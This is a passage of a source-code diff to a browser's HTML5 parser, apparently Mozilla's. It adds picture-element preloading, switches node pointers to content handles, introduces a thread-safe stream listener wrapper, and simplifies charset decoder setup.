+ }
+
+ // <picture> elements have multiple <source> nodes followed by an <img>,
+ // where we use the first valid source, which may be the img. Because we
+ // can't determine validity at this point without parsing CSS and getting
+ // main thread state, we push preload operations for picture pushed and
+ // popped, so that the target of the preload ops can determine what picture
+ // and nesting level each source/img from the main preloading code exists
+ // at.
+ inline void InitOpenPicture()
+ {
+ NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
+ "Trying to reinitialize a speculative load!");
+ mOpCode = eSpeculativeLoadOpenPicture;
+ }
+
+ inline void InitEndPicture()
+ {
+ NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
+ "Trying to reinitialize a speculative load!");
+ mOpCode = eSpeculativeLoadEndPicture;
+ }
+
+ inline void InitPictureSource(const nsAString& aSrcset,
+ const nsAString& aSizes,
+ const nsAString& aType,
+ const nsAString& aMedia)
+ {
+ NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
+ "Trying to reinitialize a speculative load!");
+ mOpCode = eSpeculativeLoadPictureSource;
+ mSrcset.Assign(aSrcset);
+ mSizes.Assign(aSizes);
+ mTypeOrCharsetSource.Assign(aType);
+ mMedia.Assign(aMedia);
}
inline void InitScript(const nsAString& aUrl,
const nsAString& aCharset,
const nsAString& aType,
const nsAString& aCrossOrigin,
- bool aParserInHead) {
+ bool aParserInHead)
+ {
NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
"Trying to reinitialize a speculative load!");
mOpCode = aParserInHead ?
@@ -57,9 +112,10 @@ class nsHtml5SpeculativeLoad {
mTypeOrCharsetSource.Assign(aType);
mCrossOrigin.Assign(aCrossOrigin);
}
-
+
inline void InitStyle(const nsAString& aUrl, const nsAString& aCharset,
- const nsAString& aCrossOrigin) {
+ const nsAString& aCrossOrigin)
+ {
NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
"Trying to reinitialize a speculative load!");
mOpCode = eSpeculativeLoadStyle;
@@ -79,7 +135,8 @@ class nsHtml5SpeculativeLoad {
* manifests seen by the parser thread have to maintain the queue order
* relative to true speculative loads. See bug 541079.
*/
- inline void InitManifest(const nsAString& aUrl) {
+ inline void InitManifest(const nsAString& aUrl)
+ {
NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
"Trying to reinitialize a speculative load!");
mOpCode = eSpeculativeLoadManifest;
@@ -97,19 +154,21 @@ class nsHtml5SpeculativeLoad {
* the queue order relative to true speculative loads. See bug 675499.
*/
inline void InitSetDocumentCharset(nsACString& aCharset,
- int32_t aCharsetSource) {
+ int32_t aCharsetSource)
+ {
NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
"Trying to reinitialize a speculative load!");
mOpCode = eSpeculativeLoadSetDocumentCharset;
CopyUTF8toUTF16(aCharset, mCharset);
- mTypeOrCharsetSource.Assign((PRUnichar)aCharsetSource);
+ mTypeOrCharsetSource.Assign((char16_t)aCharsetSource);
}
void Perform(nsHtml5TreeOpExecutor* aExecutor);
-
+
private:
eHtml5SpeculativeLoad mOpCode;
nsString mUrl;
+ nsString mMetaReferrerPolicy;
/**
* If mOpCode is eSpeculativeLoadStyle or eSpeculativeLoadScript[FromHead]
* then this is the value of the "charset" attribute. For
@@ -130,6 +189,22 @@ class nsHtml5SpeculativeLoad {
* attribute is not set, this will be a void string.
*/
nsString mCrossOrigin;
+ /**
+ * If mOpCode is eSpeculativeLoadImage or eSpeculativeLoadPictureSource,
+ * this is the value of "srcset" attribute. If the attribute is not set,
+ * this will be a void string.
+ */
+ nsString mSrcset;
+ /**
+ * If mOpCode is eSpeculativeLoadPictureSource, this is the value of "sizes"
+ * attribute. If the attribute is not set, this will be a void string.
+ */
+ nsString mSizes;
+ /**
+ * If mOpCode is eSpeculativeLoadPictureSource, this is the value of "media"
+ * attribute. If the attribute is not set, this will be a void string.
+ */
+ nsString mMedia;
};
-#endif // nsHtml5SpeculativeLoad_h_
+#endif // nsHtml5SpeculativeLoad_h
diff --git a/parser/html/nsHtml5StackNode.cpp b/parser/html/nsHtml5StackNode.cpp
index 1f16f7bca..ac5f0b2a3 100644
--- a/parser/html/nsHtml5StackNode.cpp
+++ b/parser/html/nsHtml5StackNode.cpp
@@ -31,7 +31,7 @@
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -41,6 +41,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
#include "nsHtml5Tokenizer.h"
#include "nsHtml5TreeBuilder.h"
@@ -85,7 +86,7 @@ nsHtml5StackNode::isHtmlIntegrationPoint()
}
-nsHtml5StackNode::nsHtml5StackNode(int32_t flags, int32_t ns, nsIAtom* name, nsIContent** node, nsIAtom* popName, nsHtml5HtmlAttributes* attributes)
+nsHtml5StackNode::nsHtml5StackNode(int32_t flags, int32_t ns, nsIAtom* name, nsIContentHandle* node, nsIAtom* popName, nsHtml5HtmlAttributes* attributes)
: flags(flags),
name(name),
popName(popName),
@@ -98,7 +99,7 @@ nsHtml5StackNode::nsHtml5StackNode(int32_t flags, int32_t ns, nsIAtom* name, nsI
}
-nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent** node)
+nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContentHandle* node)
: flags(elementName->getFlags()),
name(elementName->name),
popName(elementName->name),
@@ -112,7 +113,7 @@ nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent**
}
-nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent** node, nsHtml5HtmlAttributes* attributes)
+nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContentHandle* node, nsHtml5HtmlAttributes* attributes)
: flags(elementName->getFlags()),
name(elementName->name),
popName(elementName->name),
@@ -126,7 +127,7 @@ nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent**
}
-nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent** node, nsIAtom* popName)
+nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContentHandle* node, nsIAtom* popName)
: flags(elementName->getFlags()),
name(elementName->name),
popName(popName),
@@ -139,7 +140,7 @@ nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent**
}
-nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIAtom* popName, nsIContent** node)
+nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIAtom* popName, nsIContentHandle* node)
: flags(prepareSvgFlags(elementName->getFlags())),
name(elementName->name),
popName(popName),
@@ -152,7 +153,7 @@ nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIAtom* pop
}
-nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent** node, nsIAtom* popName, bool markAsIntegrationPoint)
+nsHtml5StackNode::nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContentHandle* node, nsIAtom* popName, bool markAsIntegrationPoint)
: flags(prepareMathFlags(elementName->getFlags(), markAsIntegrationPoint)),
name(elementName->name),
popName(popName),
diff --git a/parser/html/nsHtml5StackNode.h b/parser/html/nsHtml5StackNode.h
index d32881d51..57909ca9c 100644
--- a/parser/html/nsHtml5StackNode.h
+++ b/parser/html/nsHtml5StackNode.h
@@ -26,13 +26,13 @@
* Please edit StackNode.java instead and regenerate.
*/
-#ifndef nsHtml5StackNode_h__
-#define nsHtml5StackNode_h__
+#ifndef nsHtml5StackNode_h
+#define nsHtml5StackNode_h
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -42,6 +42,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
class nsHtml5StreamParser;
@@ -63,7 +64,7 @@ class nsHtml5StackNode
nsIAtom* name;
nsIAtom* popName;
int32_t ns;
- nsIContent** node;
+ nsIContentHandle* node;
nsHtml5HtmlAttributes* attributes;
private:
int32_t refcount;
@@ -78,12 +79,12 @@ class nsHtml5StackNode
bool isSpecial();
bool isFosterParenting();
bool isHtmlIntegrationPoint();
- nsHtml5StackNode(int32_t flags, int32_t ns, nsIAtom* name, nsIContent** node, nsIAtom* popName, nsHtml5HtmlAttributes* attributes);
- nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent** node);
- nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent** node, nsHtml5HtmlAttributes* attributes);
- nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent** node, nsIAtom* popName);
- nsHtml5StackNode(nsHtml5ElementName* elementName, nsIAtom* popName, nsIContent** node);
- nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContent** node, nsIAtom* popName, bool markAsIntegrationPoint);
+ nsHtml5StackNode(int32_t flags, int32_t ns, nsIAtom* name, nsIContentHandle* node, nsIAtom* popName, nsHtml5HtmlAttributes* attributes);
+ nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContentHandle* node);
+ nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContentHandle* node, nsHtml5HtmlAttributes* attributes);
+ nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContentHandle* node, nsIAtom* popName);
+ nsHtml5StackNode(nsHtml5ElementName* elementName, nsIAtom* popName, nsIContentHandle* node);
+ nsHtml5StackNode(nsHtml5ElementName* elementName, nsIContentHandle* node, nsIAtom* popName, bool markAsIntegrationPoint);
private:
static int32_t prepareSvgFlags(int32_t flags);
static int32_t prepareMathFlags(int32_t flags, bool markAsIntegrationPoint);
diff --git a/parser/html/nsHtml5StateSnapshot.cpp b/parser/html/nsHtml5StateSnapshot.cpp
index 81d6ce002..e8e3debf0 100644
--- a/parser/html/nsHtml5StateSnapshot.cpp
+++ b/parser/html/nsHtml5StateSnapshot.cpp
@@ -30,7 +30,7 @@
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -40,6 +40,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
#include "nsHtml5Tokenizer.h"
#include "nsHtml5TreeBuilder.h"
@@ -54,7 +55,7 @@
#include "nsHtml5StateSnapshot.h"
-nsHtml5StateSnapshot::nsHtml5StateSnapshot(jArray<nsHtml5StackNode*,int32_t> stack, jArray<nsHtml5StackNode*,int32_t> listOfActiveFormattingElements, jArray<int32_t,int32_t> templateModeStack, nsIContent** formPointer, nsIContent** headPointer, nsIContent** deepTreeSurrogateParent, int32_t mode, int32_t originalMode, bool framesetOk, bool needToDropLF, bool quirks)
+nsHtml5StateSnapshot::nsHtml5StateSnapshot(jArray<nsHtml5StackNode*,int32_t> stack, jArray<nsHtml5StackNode*,int32_t> listOfActiveFormattingElements, jArray<int32_t,int32_t> templateModeStack, nsIContentHandle* formPointer, nsIContentHandle* headPointer, nsIContentHandle* deepTreeSurrogateParent, int32_t mode, int32_t originalMode, bool framesetOk, bool needToDropLF, bool quirks)
: stack(stack),
listOfActiveFormattingElements(listOfActiveFormattingElements),
templateModeStack(templateModeStack),
@@ -88,19 +89,19 @@ nsHtml5StateSnapshot::getListOfActiveFormattingElements()
return listOfActiveFormattingElements;
}
-nsIContent**
+nsIContentHandle*
nsHtml5StateSnapshot::getFormPointer()
{
return formPointer;
}
-nsIContent**
+nsIContentHandle*
nsHtml5StateSnapshot::getHeadPointer()
{
return headPointer;
}
-nsIContent**
+nsIContentHandle*
nsHtml5StateSnapshot::getDeepTreeSurrogateParent()
{
return deepTreeSurrogateParent;
diff --git a/parser/html/nsHtml5StateSnapshot.h b/parser/html/nsHtml5StateSnapshot.h
index 32388674b..141b34340 100644
--- a/parser/html/nsHtml5StateSnapshot.h
+++ b/parser/html/nsHtml5StateSnapshot.h
@@ -25,13 +25,13 @@
* Please edit StateSnapshot.java instead and regenerate.
*/
-#ifndef nsHtml5StateSnapshot_h__
-#define nsHtml5StateSnapshot_h__
+#ifndef nsHtml5StateSnapshot_h
+#define nsHtml5StateSnapshot_h
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -41,6 +41,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
class nsHtml5StreamParser;
@@ -60,22 +61,22 @@ class nsHtml5StateSnapshot : public nsAHtml5TreeBuilderState
autoJArray<nsHtml5StackNode*,int32_t> stack;
autoJArray<nsHtml5StackNode*,int32_t> listOfActiveFormattingElements;
autoJArray<int32_t,int32_t> templateModeStack;
- nsIContent** formPointer;
- nsIContent** headPointer;
- nsIContent** deepTreeSurrogateParent;
+ nsIContentHandle* formPointer;
+ nsIContentHandle* headPointer;
+ nsIContentHandle* deepTreeSurrogateParent;
int32_t mode;
int32_t originalMode;
bool framesetOk;
bool needToDropLF;
bool quirks;
public:
- nsHtml5StateSnapshot(jArray<nsHtml5StackNode*,int32_t> stack, jArray<nsHtml5StackNode*,int32_t> listOfActiveFormattingElements, jArray<int32_t,int32_t> templateModeStack, nsIContent** formPointer, nsIContent** headPointer, nsIContent** deepTreeSurrogateParent, int32_t mode, int32_t originalMode, bool framesetOk, bool needToDropLF, bool quirks);
+ nsHtml5StateSnapshot(jArray<nsHtml5StackNode*,int32_t> stack, jArray<nsHtml5StackNode*,int32_t> listOfActiveFormattingElements, jArray<int32_t,int32_t> templateModeStack, nsIContentHandle* formPointer, nsIContentHandle* headPointer, nsIContentHandle* deepTreeSurrogateParent, int32_t mode, int32_t originalMode, bool framesetOk, bool needToDropLF, bool quirks);
jArray<nsHtml5StackNode*,int32_t> getStack();
jArray<int32_t,int32_t> getTemplateModeStack();
jArray<nsHtml5StackNode*,int32_t> getListOfActiveFormattingElements();
- nsIContent** getFormPointer();
- nsIContent** getHeadPointer();
- nsIContent** getDeepTreeSurrogateParent();
+ nsIContentHandle* getFormPointer();
+ nsIContentHandle* getHeadPointer();
+ nsIContentHandle* getDeepTreeSurrogateParent();
int32_t getMode();
int32_t getOriginalMode();
bool isFramesetOk();
diff --git a/parser/html/nsHtml5StreamListener.cpp b/parser/html/nsHtml5StreamListener.cpp
new file mode 100644
index 000000000..a585ce8de
--- /dev/null
+++ b/parser/html/nsHtml5StreamListener.cpp
@@ -0,0 +1,82 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#include "nsHtml5StreamListener.h"
+
+NS_IMPL_ADDREF(nsHtml5StreamListener)
+NS_IMPL_RELEASE(nsHtml5StreamListener)
+
+NS_INTERFACE_MAP_BEGIN(nsHtml5StreamListener)
+ NS_INTERFACE_MAP_ENTRY_AMBIGUOUS(nsISupports, nsIRequestObserver)
+ NS_INTERFACE_MAP_ENTRY(nsIRequestObserver)
+ NS_INTERFACE_MAP_ENTRY(nsIStreamListener)
+ NS_INTERFACE_MAP_ENTRY(nsIThreadRetargetableStreamListener)
+NS_INTERFACE_MAP_END_THREADSAFE
+
+nsHtml5StreamListener::nsHtml5StreamListener(nsHtml5StreamParser* aDelegate)
+ : mDelegate(aDelegate)
+{
+}
+
+nsHtml5StreamListener::~nsHtml5StreamListener()
+{
+}
+
+void
+nsHtml5StreamListener::DropDelegate()
+{
+ MOZ_ASSERT(NS_IsMainThread(),
+ "Must not call DropDelegate from non-main threads.");
+ mDelegate = nullptr;
+}
+
+NS_IMETHODIMP
+nsHtml5StreamListener::CheckListenerChain()
+{
+ if (MOZ_UNLIKELY(!mDelegate)) {
+ return NS_ERROR_NOT_AVAILABLE;
+ }
+ return mDelegate->CheckListenerChain();
+}
+
+NS_IMETHODIMP
+nsHtml5StreamListener::OnStartRequest(nsIRequest* aRequest,
+ nsISupports* aContext)
+{
+ if (MOZ_UNLIKELY(!mDelegate)) {
+ return NS_ERROR_NOT_AVAILABLE;
+ }
+ return mDelegate->OnStartRequest(aRequest, aContext);
+}
+
+NS_IMETHODIMP
+nsHtml5StreamListener::OnStopRequest(nsIRequest* aRequest,
+ nsISupports* aContext,
+ nsresult aStatus)
+{
+ if (MOZ_UNLIKELY(!mDelegate)) {
+ return NS_ERROR_NOT_AVAILABLE;
+ }
+ return mDelegate->OnStopRequest(aRequest,
+ aContext,
+ aStatus);
+}
+
+NS_IMETHODIMP
+nsHtml5StreamListener::OnDataAvailable(nsIRequest* aRequest,
+ nsISupports* aContext,
+ nsIInputStream* aInStream,
+ uint64_t aSourceOffset,
+ uint32_t aLength)
+{
+ if (MOZ_UNLIKELY(!mDelegate)) {
+ return NS_ERROR_NOT_AVAILABLE;
+ }
+ return mDelegate->OnDataAvailable(aRequest,
+ aContext,
+ aInStream,
+ aSourceOffset,
+ aLength);
+}
+
diff --git a/parser/html/nsHtml5StreamListener.h b/parser/html/nsHtml5StreamListener.h
new file mode 100644
index 000000000..966765fb5
--- /dev/null
+++ b/parser/html/nsHtml5StreamListener.h
@@ -0,0 +1,55 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#ifndef nsHtml5StreamListener_h
+#define nsHtml5StreamListener_h
+
+#include "nsIStreamListener.h"
+#include "nsIThreadRetargetableStreamListener.h"
+#include "nsHtml5RefPtr.h"
+#include "nsHtml5StreamParser.h"
+
+/**
+ * The purpose of this class is to reconcile the problem that
+ * nsHtml5StreamParser is a cycle collection participant, which means that it
+ * can only be refcounted on the main thread, but
+ * nsIThreadRetargetableStreamListener can be refcounted from another thread,
+ * so nsHtml5StreamParser being an nsIThreadRetargetableStreamListener was
+ * a memory corruption problem.
+ *
+ * mDelegate is an nsHtml5RefPtr, which releases the object that it points
+ * to from a runnable on the main thread. DropDelegate() is only called on
+ * the main thread. This call will finish before the main-thread derefs the
+ * nsHtml5StreamListener itself, so there is no risk of another thread making
+ * the refcount of nsHtml5StreamListener go to zero and running the destructor
+ * concurrently. Other than that, the thread-safe nsISupports implementation
+ * takes care of the destructor not running concurrently from different
+ * threads, so there is no need to have a mutex around nsHtml5RefPtr to
+ * prevent it from double-releasing nsHtml5StreamParser.
+ */
+class nsHtml5StreamListener : public nsIStreamListener,
+ public nsIThreadRetargetableStreamListener
+{
+public:
+ explicit nsHtml5StreamListener(nsHtml5StreamParser* aDelegate);
+
+ NS_DECL_THREADSAFE_ISUPPORTS
+ NS_DECL_NSIREQUESTOBSERVER
+ NS_DECL_NSISTREAMLISTENER
+ NS_DECL_NSITHREADRETARGETABLESTREAMLISTENER
+
+ inline nsHtml5StreamParser* GetDelegate()
+ {
+ return mDelegate;
+ }
+
+ void DropDelegate();
+
+private:
+ virtual ~nsHtml5StreamListener();
+
+ nsHtml5RefPtr<nsHtml5StreamParser> mDelegate;
+};
+
+#endif // nsHtml5StreamListener_h
diff --git a/parser/html/nsHtml5StreamParser.cpp b/parser/html/nsHtml5StreamParser.cpp
index 8ddc9cc18..4265d2535 100644
--- a/parser/html/nsHtml5StreamParser.cpp
+++ b/parser/html/nsHtml5StreamParser.cpp
@@ -7,9 +7,6 @@
#include "mozilla/DebugOnly.h"
#include "nsHtml5StreamParser.h"
-#include "nsICharsetConverterManager.h"
-#include "nsServiceManagerUtils.h"
-#include "nsEncoderDecoderUtils.h"
#include "nsContentUtils.h"
#include "nsHtml5Tokenizer.h"
#include "nsIHttpChannel.h"
@@ -26,8 +23,10 @@
#include "nsINestedURI.h"
#include "nsCharsetSource.h"
#include "nsIWyciwygChannel.h"
-#include "nsIInputStreamChannel.h"
-#include "nsIViewSourceChannel.h"
+#include "nsIThreadRetargetableRequest.h"
+#include "nsPrintfCString.h"
+#include "nsNetUtil.h"
+#include "nsXULAppAPI.h"
#include "mozilla/dom/EncodingUtils.h"
@@ -75,12 +74,13 @@ NS_IMPL_CYCLE_COLLECTING_ADDREF(nsHtml5StreamParser)
NS_IMPL_CYCLE_COLLECTING_RELEASE(nsHtml5StreamParser)
NS_INTERFACE_TABLE_HEAD(nsHtml5StreamParser)
- NS_INTERFACE_TABLE2(nsHtml5StreamParser,
- nsIStreamListener,
- nsICharsetDetectionObserver)
+ NS_INTERFACE_TABLE(nsHtml5StreamParser,
+ nsICharsetDetectionObserver)
NS_INTERFACE_TABLE_TO_MAP_SEGUE_CYCLE_COLLECTION(nsHtml5StreamParser)
NS_INTERFACE_MAP_END
+NS_IMPL_CYCLE_COLLECTION_CLASS(nsHtml5StreamParser)
+
NS_IMPL_CYCLE_COLLECTION_UNLINK_BEGIN(nsHtml5StreamParser)
tmp->DropTimer();
NS_IMPL_CYCLE_COLLECTION_UNLINK(mObserver)
@@ -109,7 +109,7 @@ NS_IMPL_CYCLE_COLLECTION_TRAVERSE_BEGIN(nsHtml5StreamParser)
// hack: count self if held by mChardet
if (tmp->mChardet) {
NS_CYCLE_COLLECTION_NOTE_EDGE_NAME(cb, "mChardet->mObserver");
- cb.NoteXPCOMChild(static_cast<nsIStreamListener*>(tmp));
+ cb.NoteXPCOMChild(static_cast<nsICharsetDetectionObserver*>(tmp));
}
NS_IMPL_CYCLE_COLLECTION_TRAVERSE_END
@@ -118,7 +118,7 @@ class nsHtml5ExecutorFlusher : public nsRunnable
private:
nsRefPtr<nsHtml5TreeOpExecutor> mExecutor;
public:
- nsHtml5ExecutorFlusher(nsHtml5TreeOpExecutor* aExecutor)
+ explicit nsHtml5ExecutorFlusher(nsHtml5TreeOpExecutor* aExecutor)
: mExecutor(aExecutor)
{}
NS_IMETHODIMP Run()
@@ -135,7 +135,7 @@ class nsHtml5LoadFlusher : public nsRunnable
private:
nsRefPtr<nsHtml5TreeOpExecutor> mExecutor;
public:
- nsHtml5LoadFlusher(nsHtml5TreeOpExecutor* aExecutor)
+ explicit nsHtml5LoadFlusher(nsHtml5TreeOpExecutor* aExecutor)
: mExecutor(aExecutor)
{}
NS_IMETHODIMP Run()
@@ -169,7 +169,6 @@ nsHtml5StreamParser::nsHtml5StreamParser(nsHtml5TreeOpExecutor* aExecutor,
{
NS_ASSERTION(NS_IsMainThread(), "Wrong thread!");
mFlushTimer->SetTarget(mThread);
- mAtomTable.Init(); // we aren't checking for OOM anyway...
#ifdef DEBUG
mAtomTable.SetPermittedLookupThread(mThread);
#endif
@@ -183,7 +182,7 @@ nsHtml5StreamParser::nsHtml5StreamParser(nsHtml5TreeOpExecutor* aExecutor,
mTreeBuilder->EnableViewSource(highlighter); // doesn't own
}
- // Chardet instantiation adapted from nsDOMFile.
+ // Chardet instantiation adapted from File.
// Chardet is initialized here even if it turns out to be useless
// to make the chardet refcount its observer (nsHtml5StreamParser)
// on the main thread.
@@ -235,8 +234,13 @@ nsHtml5StreamParser::Notify(const char* aCharset, nsDetectionConfident aConf)
NS_ASSERTION(IsParserThread(), "Wrong thread!");
if (aConf == eBestAnswer || aConf == eSureAnswer) {
mFeedChardet = false; // just in case
+ nsAutoCString encoding;
+ if (!EncodingUtils::FindEncodingForLabelNoReplacement(
+ nsDependentCString(aCharset), encoding)) {
+ return NS_OK;
+ }
if (HasDecoder()) {
- if (mCharset.Equals(aCharset)) {
+ if (mCharset.Equals(encoding)) {
NS_ASSERTION(mCharsetSource < kCharsetFromAutoDetection,
"Why are we running chardet at all?");
mCharsetSource = kCharsetFromAutoDetection;
@@ -244,8 +248,7 @@ nsHtml5StreamParser::Notify(const char* aCharset, nsDetectionConfident aConf)
} else {
// We've already committed to a decoder. Request a reload from the
// docshell.
- nsAutoCString charset(aCharset);
- mTreeBuilder->NeedsCharsetSwitchTo(charset,
+ mTreeBuilder->NeedsCharsetSwitchTo(encoding,
kCharsetFromAutoDetection,
0);
FlushTreeOpsAndDisarmTimer();
@@ -254,7 +257,7 @@ nsHtml5StreamParser::Notify(const char* aCharset, nsDetectionConfident aConf)
} else {
// Got a confident answer from the sniffing buffer. That code will
// take care of setting up the decoder.
- mCharset.Assign(aCharset);
+ mCharset.Assign(encoding);
mCharsetSource = kCharsetFromAutoDetection;
mTreeBuilder->SetDocumentCharset(mCharset, mCharsetSource);
}
@@ -294,26 +297,7 @@ nsHtml5StreamParser::SetupDecodingAndWriteSniffingBufferAndCurrentSegment(const
{
NS_ASSERTION(IsParserThread(), "Wrong thread!");
nsresult rv = NS_OK;
- nsCOMPtr<nsICharsetConverterManager> convManager = do_GetService(NS_CHARSETCONVERTERMANAGER_CONTRACTID, &rv);
- NS_ENSURE_SUCCESS(rv, rv);
- rv = convManager->GetUnicodeDecoder(mCharset.get(), getter_AddRefs(mUnicodeDecoder));
- if (rv == NS_ERROR_UCONV_NOCONV) {
- mCharset.AssignLiteral("windows-1252"); // lower case is the raw form
- mCharsetSource = kCharsetFromWeakDocTypeDefault;
- rv = convManager->GetUnicodeDecoderRaw(mCharset.get(), getter_AddRefs(mUnicodeDecoder));
- mTreeBuilder->SetDocumentCharset(mCharset, mCharsetSource);
- }
- NS_ENSURE_SUCCESS(rv, rv);
- return WriteSniffingBufferAndCurrentSegment(aFromSegment, aCount, aWriteCount);
-}
-
-nsresult
-nsHtml5StreamParser::WriteSniffingBufferAndCurrentSegment(const uint8_t* aFromSegment, // can be null
- uint32_t aCount,
- uint32_t* aWriteCount)
-{
- NS_ASSERTION(IsParserThread(), "Wrong thread!");
- nsresult rv = NS_OK;
+ mUnicodeDecoder = EncodingUtils::DecoderForEncoding(mCharset);
if (mSniffingBuffer) {
uint32_t writeCount;
rv = WriteStreamBytes(mSniffingBuffer, mSniffingLength, &writeCount);
@@ -328,22 +312,18 @@ nsHtml5StreamParser::WriteSniffingBufferAndCurrentSegment(const uint8_t* aFromSe
}
nsresult
-nsHtml5StreamParser::SetupDecodingFromBom(const char* aCharsetName, const char* aDecoderCharsetName)
+nsHtml5StreamParser::SetupDecodingFromBom(const char* aDecoderCharsetName)
{
NS_ASSERTION(IsParserThread(), "Wrong thread!");
- nsresult rv = NS_OK;
- nsCOMPtr<nsICharsetConverterManager> convManager = do_GetService(NS_CHARSETCONVERTERMANAGER_CONTRACTID, &rv);
- NS_ENSURE_SUCCESS(rv, rv);
- rv = convManager->GetUnicodeDecoderRaw(aDecoderCharsetName, getter_AddRefs(mUnicodeDecoder));
- NS_ENSURE_SUCCESS(rv, rv);
- mCharset.Assign(aCharsetName);
+ mCharset.Assign(aDecoderCharsetName);
+ mUnicodeDecoder = EncodingUtils::DecoderForEncoding(mCharset);
mCharsetSource = kCharsetFromByteOrderMark;
mFeedChardet = false;
mTreeBuilder->SetDocumentCharset(mCharset, mCharsetSource);
mSniffingBuffer = nullptr;
mMetaScanner = nullptr;
mBomState = BOM_SNIFFING_OVER;
- return rv;
+ return NS_OK;
}
void
@@ -394,9 +374,9 @@ nsHtml5StreamParser::SniffBOMlessUTF16BasicLatin(const uint8_t* aFromSegment,
}
if (byteNonZero[0]) {
- mCharset.Assign("UTF-16LE");
+ mCharset.AssignLiteral("UTF-16LE");
} else {
- mCharset.Assign("UTF-16BE");
+ mCharset.AssignLiteral("UTF-16BE");
}
mCharsetSource = kCharsetFromIrreversibleAutoDetection;
mTreeBuilder->SetDocumentCharset(mCharset, mCharsetSource);
@@ -408,7 +388,7 @@ nsHtml5StreamParser::SniffBOMlessUTF16BasicLatin(const uint8_t* aFromSegment,
}
void
-nsHtml5StreamParser::SetEncodingFromExpat(const PRUnichar* aEncoding)
+nsHtml5StreamParser::SetEncodingFromExpat(const char16_t* aEncoding)
{
if (aEncoding) {
nsDependentString utf16(aEncoding);
@@ -448,7 +428,7 @@ HandleXMLDeclaration(void* aUserData,
{
UserData* ud = static_cast<UserData*>(aUserData);
ud->mStreamParser->SetEncodingFromExpat(
- reinterpret_cast<const PRUnichar*>(aEncoding));
+ reinterpret_cast<const char16_t*>(aEncoding));
XML_StopParser(ud->mExpat, false);
}
@@ -503,9 +483,9 @@ nsHtml5StreamParser::FinalizeSniffing(const uint8_t* aFromSegment, // can be nul
moz_free
};
- static const PRUnichar kExpatSeparator[] = { 0xFFFF, '\0' };
+ static const char16_t kExpatSeparator[] = { 0xFFFF, '\0' };
- static const PRUnichar kISO88591[] =
+ static const char16_t kISO88591[] =
{ 'I', 'S', 'O', '-', '8', '8', '5', '9', '-', '1', '\0' };
UserData ud;
@@ -609,10 +589,10 @@ nsHtml5StreamParser::FinalizeSniffing(const uint8_t* aFromSegment, // can be nul
if (mCharsetSource == kCharsetUninitialized) {
// Hopefully this case is never needed, but dealing with it anyway
mCharset.AssignLiteral("windows-1252");
- mCharsetSource = kCharsetFromWeakDocTypeDefault;
+ mCharsetSource = kCharsetFromFallback;
mTreeBuilder->SetDocumentCharset(mCharset, mCharsetSource);
} else if (mMode == LOAD_AS_DATA &&
- mCharsetSource == kCharsetFromWeakDocTypeDefault) {
+ mCharsetSource == kCharsetFromFallback) {
NS_ASSERTION(mReparseForbidden, "Reparse should be forbidden for XHR");
NS_ASSERTION(!mFeedChardet, "Should not feed chardet for XHR");
